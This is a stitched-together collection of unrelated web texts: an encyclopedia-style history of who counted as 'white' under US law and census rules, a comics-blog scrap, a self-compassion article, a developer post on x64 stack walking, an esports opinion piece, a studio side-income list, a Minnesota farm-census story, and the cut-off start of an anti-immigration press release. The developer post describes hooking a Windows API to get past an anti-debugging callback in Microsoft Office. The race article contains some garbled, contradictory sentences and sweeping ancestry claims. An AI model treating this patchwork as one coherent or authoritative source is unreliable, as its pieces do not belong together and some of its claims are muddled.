By the 18th century, "white" had become well established as a racial term at a time when slavery of African-Americans was widespread.[1] David R. Roediger has argued that the construction of the "white race" in the United States was an effort to mentally distance slaveowners from slaves.[1] The process of officially being defined as white by law often came about in court disputes over pursuit of citizenship. The Naturalization Act of 1790 offered naturalization only to "any alien, being a free white person". In at least 52 cases, people denied the status of white by immigration officials sued in court for status as white people.
By 1923, courts had vindicated a "common-knowledge" standard, concluding that "scientific evidence" was incoherent. Legal scholar John Tehranian argues that in reality this was a "performance-based" standard, relating to religious practices, culture, education, intermarriage and a community's role in the United States.[2]
The 2000 U.S. census states that racial categories "generally reflect a social definition of race recognized in this country. They do not conform to any biological, anthropological or genetic criteria."[4] It defines "white people" as "people having origins in any of the original peoples of Europe, the Middle East, or North Africa.[5] The Federal Bureau of Investigation uses the same definition.[6]
The 1990 US Census Public Use Microdata Sample listed "Caucasian" or "Aryan" ancestry responses as subgroups of "white"[7] but the 2005 PUMS codes do not.[8] In U.S. census documents, the designation white or Caucasian may overlap with the term Hispanic, which was introduced in the 1980 census as a category of ethnicity, separate and independent of race.[9] In cases where individuals do not self-identify, the U.S. census parameters for race give each national origin a racial value.
Specific ethnic groups [ edit ]
African Americans [ edit ]
Laws dating from 17th-century colonial America excluded children of at least one black parent from the status of being white. Early legal standards did so by defining the race of a child based on a mother's race[contradictory] while banning interracial marriage, while later laws defined all people of some African ancestry as black, under the principle of hypodescent. Some 19th-century categorization schemes defined people with one black parent (the other white) as mulatto, with one black grandparent as quadroon and with one black great grandparent as octoroon. The latter categories remained within an overall black or African-American category. Many members of these categories passed temporarily or permanently as white.[10] Since several thousand blacks have been crossing the color line each year, the phenomenon known as "passing for white", millions of white Americans have recent African ancestors. A statistical analysis done in 1958 estimated that 21 percent of the white population had African ancestors. The study concluded that the majority of Americans of African descent were actually white and not black.[11]
Hispanic Americans [ edit ]
The definition of Hispanic in the United States can include Americans of European descent, such as Cameron Diaz
Hispanic Americans are Americans who have a significant number of Spanish-speaking Latin American ancestors. While Latin Americans have a broad array of ethnic, racial and cultural backgrounds, they all tend to be indiscriminately labeled 'Hispanic', giving that term a "racial" value.
It was not until the 1980s after years of protest from the Chicano movement the United States government created the term Hispanic to classify all peoples who come from Spanish-speaking countries. The term Hispanic has in recent years in the United States been given racial value with the perception of a racial Hispanic look being that of Native American race or of the Mixed races usually Mestizo or Mulatto as the majority of the people who immigrate from Spanish-speaking countries to the United States are of that racial origin. Due to this racial perception of Hispanics even among Hispanic Americans themselves, white U.S. Hispanics and Latinos, black U.S. Hispanics and Latinos, and Asian U.S. Hispanics and Latinos are often overlooked in the U.S. mass media and in general American social perceptions. The white Hispanics and Latinos who are perceived as "Hispanic" by Americans usually possess typical Mediterranean/Southern European pigmentation - olive skin, dark hair, and dark eyes - as most Spanish and white Latin American immigrants are and most white Hispanics and Latinos are.[12][13]
On the 2000 Census form, race and ethnicity are distinct questions. A respondent who checks the "Hispanic or Latino" ethnicity box must also check one or more of the five official race categories. Of the over 35 million Hispanics or Latinos in the 2000 Census, a plurality of 48.6% identified as "white," 48.2% identified as "Other" (most of whom are presumed of mixed races such as mestizo or mulatto), and the remaining 3.2% identified as "black" and other races.
By 2010, the number of Hispanics identifying as white has increased by a wide margin since the year 2000 on the 2010 Census form, of the over 50 million people who identified as Hispanic and Latino Americans a majority 53% identified as "white", 36.7% identified as "Other" (most of whom are presumed of mixed races such as mestizo or mulatto), 6% identified as "Two or more races", 2.5% identified as "Black", 1.4% identified as "American Indian and Alaska Native", and the remaining 0.5% identified as other races.[14]
The media and some Hispanic community leaders in the United States refer to Hispanics as a separate group from all others, as well as "whites" and the "white majority". This may be because "white" is often used as shorthand for "non-Hispanic white". Thus, the non-Hispanic population and some Hispanic community leaders refer to white Hispanics as non-Hispanic whites and white Hispanic actors/actresses in media are mostly given non-Hispanic roles[15][16] while, in turn, are given the most roles in the U.S. Hispanic mass media that the white Hispanics are overrepresented and admired in the U.S. Hispanic mass media and social perceptions. Multiracial Latinos have limited media appearance; critics have accused the U.S. Hispanic media of overlooking the brown-skinned indigenous and multiracial Hispanic and black Hispanic populations by over-representation of blond and blue/green-eyed white Hispanic and Latino Americans (who resemble Scandinavians and other Northern Europeans), and also light-skinned mulatto and mestizo Hispanic and Latino Americans (often deemed as white persons in U.S. Hispanic and Latino populations if achieving the middle class or higher social status), especially some of the actors on the telenovelas.[17][18][19][20][21][22][23] [24]
Mexican Americans [ edit ]
The official racial status of Mexican Americans has varied throughout American history. From 1850 to 1920, the U.S. Census form did not distinguish between whites and Mexican Americans.[25] In 1930, the U.S. Census form asked for "color or race," and census enumerators were instructed to write W for white and Mex for Mexican.[26] In 1940 and 1950, the census reverted its decision and made Mexicans be classified as white again and thus the instructions were to "Report white (W) for Mexicans unless they were definitely of full Indigenous Indian or other non-white races (such as Black or Asian)."[25]
During periods in U.S. history when racial intermarriage wasn't legally acknowledged, and when Mexicans and Mexican-Americans were uniformly allotted white status, they were legally allowed to intermarry with what today are termed non-Hispanic whites, unlike Blacks and Asians. They were allowed to acquire U.S. citizenship upon arrival; served in all-white units during World War II; could vote and hold elected office in places such as Texas, especially San Antonio; ran the state politics and constituted most of the elite of New Mexico since colonial times; and went to segregated white schools in Central Texas and Los Angeles. Additionally, Asians were barred from marrying Mexican Americans because Mexicans were legally white.[27]
U.S. nativists in the late 1920s and 1930s (mostly due to the socially xenophobic and economic climate of the Great Depression) tried to put a halt to Mexican immigration by having Mexicans (and Mexican Americans) declared non-white, by virtue of their Indian heritage. After 70 years of being in the United States and having been bestowed white status by the U.S. government this was the first time the United States began to show true racist attitudes towards Mexicans in America something that usually came quickly to people of other races. They based their strategy on a 1924 law that barred entry to immigrants who were ineligible for citizenship, and at that point, only blacks and whites, and not Asians or Native Americans, could naturalize and become U.S. citizens. The test case came in December 1935, when a Buffalo, N.Y., judge rejected Jalisco native Timoteo Andrade's application for citizenship on the grounds that he was a "Mexican Indian." Had it not been for the intervention of the Mexican and American governments, who forced a second hearing, this precedent could very well have made many Mexicans, the majority of whom are mestizo, ineligible for citizenship.[28] When mixed race Mexicans were allowed to retain their white status in American society they were unperturbed with the fact that the United States still continued its discriminatory practices towards Mexicans of full Indigenous heritage.
During the Great Depression, Mexicans were largely considered non-white.[citation needed] As many as 400,000 Mexicans and Mexican Americans were deported in a decade-long effort by the government called the Mexican Repatriation.[29]
In the 2000 U.S census, around half of all persons of Mexican or Mexican American origin in the U.S. checked white to register their race (in addition to stating their Mexican national origin).[9] Mexican Americans are the largest white Hispanic group in the United States.
Latino Caribbean [ edit ]
Texas Senator Ted Cruz , of paternal Cuban ancestry, is of European descent.
Caribbean countries such as Cuba,[30][31][32] US territory of Puerto Rico and especially the Dominican Republic have a complex ethnic heritage since they include indigenous and African legacies. Africans were forcibly transported to the islands throughout the colonial period (and indeed Blacks accompanied the first Spanish explorers, with more arriving to harvest sugar in the 20th century prior to the Revolution[33]).
Cuban Americans and Puerto Ricans exemplify this complex ethnic status. The Cuban exiles and the Puerto Rican who migrated, entered the United States before 1959 tended to be of European ancestry (most particularly Spanish ancestry) and therefore widely considered white.[34][35] Their appearance let them be more accepted by an American culture that openly attacked Afro-Cubans and Afro-Puerto Ricans, and other races. In some cases, this white racial status "allowed them to feel superior over other racial and ethnic groups and to make claims to rights and privileges..."[34]
Native Americans [ edit ]
In Oklahoma, state laws identified Native Americans as legally white during Jim Crow-era segregation.[36]
In the late 19th and 20th century, many saw Native Americans as people without a future, who should be assimilated into a larger American culture. Tribal membership was frequently defined according to so-called blood quantum standards (proven through a Certificate of Degree of Indian Blood), so that people of mostly white ancestry and more distant Native ancestry were denied any formal ties with their ancestral tribe. This led to the classification of increasing numbers of people of distant indigenous ancestry as white. This trend has been reversed in census figures of recent decades, which show increasing self-identification among mixed-race people as ethnically/culturally Native American.[36] However, according to the 2000 census, you must know the tribe and maintain contact with that tribal community: "American Indian and Alaska Native. A person having origins in any of the original peoples of North and South America (including Central America) and who maintain tribal affiliation or community attachment."
Asian Americans [ edit ]
East Asian Americans [ edit ]
Beginning in the mid-19th century, the United States experienced significant immigration from East Asia and the Indian Subcontinent, followed by reactions, such as the Workingman's Party, against Chinese and later other East Asian immigrants as competitors with white labor, and fears (Yellow Peril) that Asians could outnumber the white population in some areas and become dominant.
The Naturalization Act of 1790 restricted naturalized American citizenship to whites.[37] However, United States v. Wong Kim Ark in 1898 confirmed citizenship by birth in the US regardless of race. As a result, in the early 20th century many new arrivals with origins in the Far East petitioned the courts to be legally classified as white, resulting in the existence of many United States Supreme Court rulings on their "whiteness". In 1922, the court case Takao Ozawa v. United States deemed that Japanese are part of the Mongoloid race, and thus non-white.
In Jim Crow era Mississippi, however, Chinese American children were allowed to attend white-only schools and universities, rather than attend black-only schools, and some of their parents became members of the infamous Mississippi "White Citizens' Council" who enforced policies of racial segregation.[38][39][40]
Although in an opposite turn in other parts of the United States, in 1927, The Supreme Court finds that states possess the right to define a Chinese student as non-white for the purpose of segregating public schools in the case of Lum v. Rice.[41][42][43] As the Jim crow era lasted between 1876 and 1965 this effectively placed Lum v. Rice within that same time period.
In a precursor to Brown v. Board the 1947, federal legal case Mendez v. Westminster fought to take down segregated schools for Mexican American and white students, in doing so this prompted Governor Earl Warren to repeal a state law calling for segregation of Native American and Asian American students in California. Further proof that East Asians were segregated in the American education system during the Jim Crow era of the United States.[44][45][46] However, as a result of the Wysinger vs. Crookshank, 82 Cal 588, 720, (1890) ruling, Blacks were integrated into California's education system and thus never attended segregated public schools during the Jim Crow era in California.
West Asian and Central Asian Americans [ edit ]
Main Articles: Middle Eastern Americans
The Census Bureau includes the "original peoples of Europe, North Africa, or the Middle East" among white people.[47] Under pressure from advocacy groups, the Census Bureau announced in 2014 that it would consider establishing a new, MENA ethnic category for populations from the Middle East, North Africa and the Arab world, separate from the "white" category. If approved by the Census Bureau, the category would also require approval by Congress.[48][49][50]
The courts ruled Arabs, Syrians, Middle Easterners, and Armenians as not white in the following cases: In re Halladjian (1909), Ex parte Shahid (1913), Ex Parte Dow (1914), In re Dow (1914), and In re Ahmed Hassan (1942). The courts ruled Arabs, Syrians, Middle Easterners, or Armenians to be white in the following cases: In re Najour (1909), In re Mudarri (1910), In re Ellis (1910), Dow v. United States (1915), United States v. Cartozian, and Ex Parte Mohriez (1944).[51][52]
Arab Americans [ edit ]
From 1909 to 1944, members of Arab American communities in the United States sought naturalized citizenship through an official recognition as white.[52][53] During this period, the courts were inconsistent in defining Arabs as white granting some eligibility for citizenship, while denying others.[52][53][51] Therefore, in the first half of the twentieth century, many Arabs were naturalized as "white American" citizens, while others were deported as "non-white aliens."
One of the earliest cases includes the case of police officer George Shishim. Born in Zahle, Lebanon, Shishim immigrated to the United States in 1894 becoming a police officer in Venice, CA.[53] According to Gualtieri (2009), Shishim’s “legal battle to prove his whiteness began after he arrested the son of a prominent lawyer for disturbing the peace."[53] The man arrested argued that because Shishim was not white, and thus ineligible for citizenship, that his arrest was invalid.[54] Shishim’s attorney’s, with support from the Syrian-Lebanese and Arab communities, argued Arabs shared Caucasian ancestry and are thus white. Judge Frank Hutton, who presided over the case, cited legal precedent ruling that the term “white person” included Syrians.[53] Despite this ruling, neither U.S. immigration authorities nor courts across the country consistently defined Arabs as whites, and many Arabs continued to be deported through the 1940s.[52][51]
Among the most important cases was Dow v. United States (1915) in which Syrian George Dow was determined to be of the “Caucasian” race and thus eligible for citizenship. In 1914, Judge Smith denied George Dow citizenship twice ruling that Syrians were not white and thus ineligible for citizenship. Dow appealed these decisions and in Dow v. United States (1915), the United States Court of Appeals overturned the lower court's decisions, defined Syrians as white, and affirmed Dow's right to naturalization.[52][53] However, this decision did not apply to North Africans or non-Levantine Arabs, and some courts claimed that only Syrians (and not other Arab persons) were white. The situation was resolved in 1943, when all Arabs and North Africans were deemed white by the federal government.[55] Ex Parte Mohriez (1944),[52] and the 1977 OMB Directive 15 include Middle Eastern and North African in the definition of white.[56]
Armenian Americans [ edit ]
Another 1909 immigration and naturalization case found that Armenians were white and thus eligible for citizenship. A U.S. Circuit Court judge in Boston, ruling on a citizenship application by four Armenians, overruled government objections and found that West Asians were so mixed with Europeans that it was impossible to tell whether they were white or should be excluded as part of the "yellow race". In making the ruling, the judge also noted that the government had already made no objection to Jews. The judge ruled that "if aboriginal people of Asia are excluded it is hard to find a loophole for the admission of Hebrews."[57]
Jewish Americans [ edit ]
In the 19th and early 20th centuries, the racial classification of Jews in the United States was not settled, with many nativists describing them as "Mongoloid" and "Asiatic." The United States Bureau of Immigration had classified Jews as "Slavonic" during the 19th century, but the Dillingham Commission contended that linguistic and physical criteria, including the "Jew's nose", classified Jews further down the Caucasian pecking order, as Semites.[58][59] Karen Brodkin, an anthropologist who has studied the racial status of Jews in the 19th and 20th centuries, observes that "the masses of Jews and other Southern and Eastern European immigrants who became the foot soldiers of America's industrial revolution were despised as lesser, not-quite-white races."[60] A 1909 Census Bureau ruling[61] to classify Syrians as "Mongolians", thus non-white and ineligible for citizenship, caused American Jewish leaders to fear that Jews would soon be denaturalized as well.[62]
The racial status of Jews has continued to engender debate,[63] with some commentators, and alt-right leaders such as David Duke, arguing that all Jews are people of color.[64][65] In 2013, more than 90% of U.S. Jews described themselves as white.[66]
South Asian Americans [ edit ]
South Asian Americans constitute a broad group of ethnic groups and racial classification of each of these groups has varied over the years.
The classification of Indian Americans has varied over the years and across institutions. Originally, neither the U.S. courts nor the census bureau categorized Indians as a race because there were only negligible numbers of Indian immigrants in the United States. Various court judgements instead deemed Indians to be "white" or "not white" for the purposes of law.[67][68]
Unlike Indian Americans, Sri Lankan Americans and Nepalese Americans have always been classified as "Asian". Before 1975, both groups were classified as "other Asian".[69] In 1975, they were given their own separate categories within the broader Asian American category.[69]
In 1909, Bhicaji Balsara became the first Indian to gain U.S. citizenship, as a Zoroastrian Parsi he was ruled to be "the purest of Aryan type" and "as distinct from Hindus as are the English who dwell in India”. Almost thirty years later, the same Circuit Court to accept Balsara ruled that Rustom Dadabhoy Wadia, another Parsi also from Bombay was not white and thefore not eligible to receive U.S. citizenship.[70]
In 1923, the Supreme Court decided in United States v. Bhagat Singh Thind that people of Indian descent were not ‘white’ men, and thus not eligible to citizenship.[71] The court conceded that, while Thind was a high caste Hindu born in the northern Punjab region and classified by certain scientific authorities as of the Aryan race, he was not ‘white’ since the word Aryan "has to do with linguistic and not at all with physical characteristics" and since "the average man knows perfectly well that there are unmistakable and profound differences" between Indians and white Americans.[72] Associate Justice George Sutherland wrote that Indians "cannot be properly assigned to any of the enumerated grand racial divisions.:[71]
The U.S. Census Bureau has over the years changed its own classification of Indians. In 1930 and 1940, Indian Americans were classified as "Hindu" by "Race", and in 1950 and 1960, they were categorized as Other Race, and in 1970, they were deemed white. Since 1980, Indians and other South Asians have been classified according to self-reporting,[73] with many selecting "Asian Indian" to differentiate themselves from peoples of "American Indian" or Native American background.[74]
European Americans [ edit ]
Finnish Americans [ edit ]
The earliest Finnish immigrants into the US were colonialists who were Swedes in the legal sense and perhaps spoke Swedish. They settled in the Swedish colony, and were supposed to have assimilated into the British culture quickly.[75] More recent Finns were on several occasions "racially" discriminated against[76] and not seen as white, but "Asian". The reasons for this were the arguments and theories about the Finns originally being of Mongolian instead of native European origin due to the Finnish language belonging to the Uralic and not the Indo-European language family.[77]
On January 4, 1908, a trial was held in Minnesota about whether John Svan and several other Finnish immigrants would become naturalized United States citizens or not, as the process only was for "whites" and "blacks" in general, and district prosecutor John Sweet was of the opinion that Finnish immigrants were Mongols. The judge, William A. Cant, later concluded that the Finnish people may have been Mongolian from the beginning, but that the climate they lived in for a long time, and historical Finnish immigration and assimilation of Germanic tribes (Teutons)—which he considered modern "pure Finns" indistinguishable from—had made the Finnish population one of the whitest people in Europe. If the Finns had Mongol ancestry, it was distant and diluted. John Svan and the others were made naturalized US citizens, and from that day on, the law forbade treating Finnish immigrants and Americans of Finnish descent as not white.[78][79]
In the beginning of the 20th century, there was a lot resentment from the local American population towards the Finnish settlers because they were seen as having very different customs, and were slow in learning English. Another reason was that many of them had come from the "red" side of Finland, and thus held socialist political views.[80]
German Americans [ edit ]
Large numbers of Germans migrated to North America between the 1680s and 1760s. Many settled in the English colony of Pennsylvania. In the 18th century, many persons of English descent harbored resentment towards the increasing number of German settlers. Benjamin Franklin in "Observations Concerning the Increase of Mankind, Peopling of Countries, etc.", complained about the increasing influx of German Americans, stating that they had a negative influence on the early United States. The only exception were Germans of Saxon descent "who with the English, make the principal Body of White People on the Face of the Earth. I could wish their Numbers were increased".
Unlike most European immigrant groups, whose acceptance as white came gradually over the course of the late 19th century (that is, in U.S. colloquial definitions, since all Europeans were white by legal U.S. definition), German immigrants quickly became accepted as white.[81]
Italian Americans [ edit ]
In certain parts of the South during the Jim Crow era, Southern Italians "occupied a racial middle ground within the otherwise unforgiving, binary caste system of white-over-black." Though Italians were viewed as white for purposes of naturalization and voting, their social standing was that they represented a "problem at best." Their racial status was impacted by their appearance and that they did not "act" white, engaging in manual labor ordinarily reserved for blacks. The trial of nineteen Italian immigrants for the murder of New Orleans police chief David Hennessy in 1890, which ended in the lynching of eleven of them by a white vigilante group, sparked debate in the press over Italians supposed racial characteristics. Italians continued to occupy a "middle ground in the racial order" through the 1920s.[82]:55–62
North Africans in the United States [ edit ]
Under the U.S. Census definition and U.S. federal agency, individuals with ancestry from North Africa are considered white. The Equal Employment Opportunity Commission regulations also explicitly define white as "original peoples of Europe, North Africa, or the Middle East."[citation needed]
In 2014, the Census proposed for comment a new racial category for Middle Eastern and North African Americans. The category requires approval by Congress.[50]
Most North Africans in the U.S. are of native North African origin, including Berbers, Copts, Arabs, Arab-Berbers and Egyptians. They are among the more numerous Arab American groups.[citation needed]
See also [ edit ]
References [ edit ]
Scott Snyder seems to agree, especially the colourist for his Batman run, FCO Plascencia. He tweeted.
Seriously, if you like Batman AT ALL show @fcoo some love. The guy deserves MARQUIS billing, credit, royalties (as do all colorists)& beyond — Scott Snyder (@Ssnyder1835) April 18, 2014
Well, you know, DC Comics have a presence at Wondercon this year. Why doesn’t someone, in the Q&A sections tomorrow… ask them? And then let us know what the answer is…
Lots of room for an Onion AV Club quote. Not so much for the colourist…
About Rich Johnston Chief writer and founder of Bleeding Cool. Father of two. Comic book clairvoyant. Political cartoonist.
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It seems, at first, almost painfully obvious. But the study of self-compassion turns out to be a rather interesting one, as scientists define the term a little differently than you or I might. There are, write the researchers, three elements that make up self-compassion, including self-kindness, which is “an understanding behavior toward oneself in the face of suffering.” That one is kind of self-explanatory. But there is also mindfulness, which in this context refers to “the balanced awareness of negative thoughts and feelings rather than their overidentification.” Self-compassionate people, the scientific literature suggests, are able to separate themselves from their failures; sometimes, the things you try just don’t work out, but just because the thing failed does not necessarily make you a failure.
But the third piece of self-compassion is especially interesting: It’s something the researchers call “common humanity,” which they describe as “the perception and classification of one’s experiences as part of mankind rather than an interpretation that is separate from others.” It’s placing less emphasis on your own uniqueness, and realizing that you are but one piece of a larger puzzle. In that same line of thinking, their research suggests that self-compassion is not the same as self-esteem; in fact, overreliance on one’s self-esteem seems to dampen the positive effects self-compassion has on a person’s sense of well-being, the studies reviewed here show.
More on that:
Self esteem relies more on global positive self-evaluations and often is based on comparisons with other people in order to increase one’s perceived self-worth. By comparison, self-compassion works in quite the opposite way. It is not strictly based on self-evaluations and comparison with others, but is rather based on interconnection and the awareness of being part of mankind, as well as on the awareness that failure and setbacks are part of normal life.
Our SpyStudio tool intercepts application system calls and retrieves the called functions by inspecting the call-stack.
We were unable to access stack information in the last few 64-bit releases of Microsoft Office products. When we use SpyStudio to intercept an Office installation or most Office applications like Word or Excel, they start normally, but eventually exit silently.
Our initial research showed the culprit to be the Office Software Protection Platform, which would make sense, as it is supposed to hide an application’s safety mechanisms.
However, the Office Software Protection Platform did not keep us from intercepting the 32-bit version of Microsoft Office, so we decided to investigate further.
The .pdata Section
How does the 64-bit operating system do a stack walk when an exception occurs, and how can a debugger know who called a function?
Microsoft added new metadata information which is stored on a special section named “.pdata” in the PE file format specification. When an application is compiled, the compiler stores information related to the prolog of each function. If a function handles exceptions, the compiler also stores data about actions that must happen when the unwind operation is executed.
The operating system and the debugger use a series of RUNTIME_FUNCTION structures to retrieve a variety of information about each function, like how much stack space is reserved for each function usage, which callbacks must be called in an unwind operation, and where assembly registers are stored.
If you want to do your own stack walking, you can start from the current program counter (the RIP register in x64) and look for the RUNTIME_FUNCTION that belongs to it. Then process the UNWIND_INFO items to determine stack usage, and lastly, retrieve the location of the return address of the parent function.
Fortunately, there are some new APIs which makes the job easier. They are RtlLookupFunctionEntry and RtlVirtualUnwind. A stack walking code sample:
VOID StackTrace64(VOID) { CONTEXT Context; KNONVOLATILE_CONTEXT_POINTERS NvContext; UNWIND_HISTORY_TABLE UnwindHistoryTable; PRUNTIME_FUNCTION RuntimeFunction; PVOID HandlerData; ULONG64 EstablisherFrame, ImageBase; DbgPrint("StackTrace64: Executing stack trace...
"); // First, we'll get the caller's context. RtlCaptureContext(&Context); // Initialize the (optional) unwind history table. RtlZeroMemory(&UnwindHistoryTable, sizeof(UNWIND_HISTORY_TABLE)); UnwindHistoryTable.Unwind = TRUE; // This unwind loop intentionally skips the first call frame, as it shall // correspond to the call to StackTrace64, which we aren't interested in. for (ULONG Frame = 0; ; Frame++) { // Try to look up unwind metadata for the current function. RuntimeFunction = RtlLookupFunctionEntry(Context.Rip, &ImageBase, &UnwindHistoryTable); RtlZeroMemory(&NvContext, sizeof(KNONVOLATILE_CONTEXT_POINTERS)); if (!RuntimeFunction) { // If we don't have a RUNTIME_FUNCTION, then we've encountered // a leaf function. Adjust the stack approprately. Context.Rip = (ULONG64)(*(PULONG64)Context.Rsp); Context.Rsp += 8; } else { // Otherwise, we call upon RtlVirtualUnwind to execute the unwind // for us. RtlVirtualUnwind(UNW_FLAG_NHANDLER, ImageBase, Context.Rip, RuntimeFunction, &Context, &HandlerData, &EstablisherFrame, &NvContext); } // If we reach an RIP of zero, this means that we've walked off the // end of the call stack and are done. if (!Context.Rip) break; // Display the context DbgPrint("FRAME %02x: Rip=%p Rsp=%p Rbp=%p
", Frame, Context.Rip, Context.Rsp, Context.Rsp); } return; }
Source: Programming against the x64 exception handling support, part 7
Because the .pdata section is created when the application is compiled, if the program generates dynamic code, like the .NET JIT profiler does, it should also create the corresponding RUNTIME_FUNCTION metadata and inform the operating system of the new dynamic code.
The RtlInstallFunctionTableCallback API adds an entry in an internal processes table maintained by NtDll.dll that helps RtlLookupFunctionEntry and RtlVirtualUnwind find information on how to walk the stack when your dynamically generated code is in the middle of the function calls chain.
Microsoft Office Installer and Applications
So what explains the silent exit of an Office application like Word?
At first we thought that some kind of intentional data corruption was happening in the internal table. It seemed like some kind of anti-debugging technique to keep reverse engineers from seeing the product activation mechanism.
After some trial and error we noticed that RtlInstallFunctionTableCallback was installing a callback to a suspicious routine. Surprisingly, that routine calls TerminateProcess API! When our stack walker function wanted to know the chain of calls, RtlLookupFunctionEntry indirectly called that routine and the program terminated silently.
Could the guys at Microsoft have decided to use this strange method to protect their code? The annoying callback function was added and removed frequently during many operations.
The solution was to add a simple hook to the RtlInstallFunctionTableCallback API to keep it from being added. Now the issue is resolved and the fixed versions of Deviare “Hooking for the Masses” and SpyStudio will be available soon.
Acknowledgements
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There is ample evidence that gaming and esports are a favorite pastime among younger generations. Thus, it makes sense to try and reach those audiences if you are in the entertainment business. The NBA tries by creating a digital replica of it’s core product, hoping that it might convert them to the real NBA one day. Hence, they partnered with Take-Two Interactive and created a NBA esports league.
That’s an understandable approach. But it comes with opportunity cost. The Forbes article hints at it:
…the league is not guaranteed to be a success among potential spectators. It has been noted that less than 1% of gaming is in professional esports. Furthermore, the most popular esports games multiplayer online battle arena (MOBAs) like League of Legends and Dota 2 as well as shooting games such as Counter-Strike: Global Offensive. Actual sport-style esports games, i.e. NBA 2K, are much less proven at this point-in-time.
You can approach the rising popularity of esports and the market opportunity that comes with it from two angles: Either you create an experience based on the users’ preferences, or you try to replicate your product in another domain.
There is a recent analogy to this: The development of internet business. The first online businesses were mostly emulations of existing business models on the web. It took years for people to find out that the internet is a different animal that allows (and demands) new approaches. Those, of course, were almost exclusively the brainchild of new companies.
Whether the same is true with regards to esports remains to be seen. It might turn out to work just as the sports business. But there is a chance it might not. The NBA’s strategy might work just fine. After all, they have the financial resources to create a league that appeals to players and fans alike. Also, the NBA might regard the new league as an opportunity to learn the esports business in an on-brand environment. Later, they could then transfer those learning to other projects.
But I at least wonder whether it wouldn’t be more promising to invest in an established esports gaming IP like League of Legends and — using your sports business know-how and relationships — drive revenue growth. At the same time, it would allow the NBA to learn the particularities of esports from an already proven product.
Not to worry. You can make extra money with the gear you already own, and by using the skills you already have. Here are ten new ways for you to make money on the side:
1. Record & Mix Radio Spots
You already have a recording booth, which means you can record voiceover dialog. Radio spots are usually 30 seconds, contain wall-to-wall dialog, and often music. Occasionally you will need to provide sound effects. If you have fast Pro Tools chops, and can turn around spots quickly, radio can pay well.
2. Jingle Writing
While you are bringing in clients to record and mix radio spots, why don’t you sell them your music tracks? Use the sample libraries you already own to write catchy 30-second spots.
3. Game Audio
Dialog enhances the immersive experience of playing video games. As such, games can call for thousands of recorded lines. Use your recording booth to record dialog for games for home consoles, portable consoles, phones, tablets, and so on. And if you own sound effects libraries, you can create hundreds, if not thousands, of sound effects assets as well.
4. Teaching
You already own Pro Tools and you are a whiz at it. Set up your studio to teach multiple students at a time, and you can maximize your income. Not only is teaching the next generation of music engineers a gratifying experience, it is also a good way to scout for potential new interns for your studio.
5. Audiobooks
Many millions of people around the world have long drives to work. Audiobooks are a great way to unwind while commuting. With the rapid increase in audio book production, higher quality recordings are expected. Which makes your studio, with a professional voiceover booth, the perfect place to record dialog for audio books.
6. Conferences
Since you know many different types of people in the music business, why not offer your space as a cool place to hold a conference? Attendees of the conference, as well as the panel members who speak at the event, will get to know your great studio environment and spread the good word. You could either charge to rent the space, or barter in exchange for other music or business services you might need.
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7. Voiceover demos
Every voiceover artist needs a great demo reel to display their diverse talents and credits. Once you’ve got your radio spot business going, ask the voiceover artists that come through if they need help recording, editing, mixing, and submitting their reels to sites such as voices.com.
8. Podcasts
The podcast industry has matured greatly over the past few years. There are now shows that make good money through advertising, and as such can afford to record at professional facilities. While providing your space for podcasters, why not ask them to do a shout-out for your studio on their show?
9. App development
Ever have a musical or recording problem that you wish could be solved with an app, but you don’t see an available solution? Hire an app designer/developer and produce your own. You will have to invest more money and time upfront than the above options, but once the app is available for purchase, you will have potentially created a nice residual income stream for yourself.
10. Sell gear
Start by selling the gear you do not need any more, and then research what vintage gear is worth. Train yourself to buy low and sell high on eBay, and you will acquire some excellent timeless pieces for your studio in the process.
Remember, whatever approaches you choose for making extra money with your studio, the key is to let people know about your services. Constantly tell your clients, advertise, and ask others to spread the good word. Be tenacious and creative in your endeavors, and here’s to your success!
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Crop and livestock producers in Minnesota's Seventh Congressional District, comprising the western third of the state, sold just over $11 billion worth of agricultural products in 2012, making the district fourth in the nation among 435 districts.
Farther south, producers in the state's First District — which stretches along the Iowa border — ranked ninth in the nation in the same category.
The rankings come from a new federal report using figures from the 2012 Census of Agriculture. Minnesota and Iowa are the only states with two districts in the top 10.
The report compiles crop acreage, sales, livestock and other statistics by congressional district, as opposed to county and state rankings already available. It includes an ag profile for each district, and more than 60 individual tables of statistics and rankings.
"We tabulate census data in many ways," said Dan Loftus, state statistician for the National Agricultural Statistics Service — an arm of the U.S. Department of Agriculture.
The state’s western Seventh District is tops in turkey and sugar beet production.
"State and county numbers are the most widely used, but we also tabulate by ZIP code, by watershed and by congressional district," he said. "The real value is that it makes census data local and relevant to as many people as possible."
Loftus said the latest report shows that the two Minnesota districts have national impact in terms of crop and livestock sales.
The Seventh District is represented by Democrat Collin Peterson, the ranking member and former chair of the House Agriculture Committee. Rep. Tim Walz, another Democrat, ­represents the First District and also serves on the committee. Two other congressmen from Minnesota's eight districts also serve on the committee: Republican Rep. Tom Emmer of the Sixth District, and Democrat Rick Nolan of the Eighth.
Critical mass
The strength of farming in certain areas provides advantages beyond bragging rights, said Dave Torgerson, executive director of the Minnesota Association of Wheat Growers.
"There's a point for some industries and crops that you have to have a critical mass of businesses," Torgerson said. Having a strong livestock industry, for example, requires vets, feed mills, livestock production experts and truckers in the area, he said.
"If you try to expand and go to an area that doesn't have that infrastructure and capacity, it's hard to do it," Torgerson said.
Some farmers in North Dakota raise turkeys, he said, but they need to truck them long distances to Minnesota, where the industry is many times larger and where the processing plants are located.
Having a critical mass of farmers and services also attracts start-up agricultural companies to an area, Torgerson said.
"They come to the Seventh District and the First District to see what kind of market there is for their products," he said. "Agriculture's really the driver in those areas."
Other strongholds
The top three producing districts listed in the report were in Nebraska, Iowa and Kansas, in that order, with North Dakota and South Dakota — which are each considered single legislative districts — coming in fifth and sixth place, respectively.
Minnesota's Seventh Congressional District, with more than 15 million acres in farms, also ranked at or near the top of the nation in several other categories: second in the number of farms (33,431), first in sales of sugar beets, first in sales of turkeys (nearly 38 million), third in spring wheat production, fourth for corn and soybeans, and sixth for pigs and hogs.
The First District in southern Minnesota, with 6.3 million acres in farms, ranked second in the nation in pig and hog sales, and within the top 10 districts for corn and soybean sales and acreage.
Diana Hull, PresidentCalifornians for Population Stabilization(805) 564-6626
WASHINGTON, DC—Homeland Security's August 31 report that 8 to 12 million illegal aliens reside in the United States grossly underestimates the number of illegal foreigners, according to a new study by the Californians for Population Stabilization (CAPS) released on Wednesday, October 3.
The new report, "The Illegal Population Explosion: A Realistic Appraisal of its Actual Size, Implications for the Future, and Consequences for Public Policy Decisions and Citizen Activism," was released at a News Conference at the National Press Club in Washington, D.C.
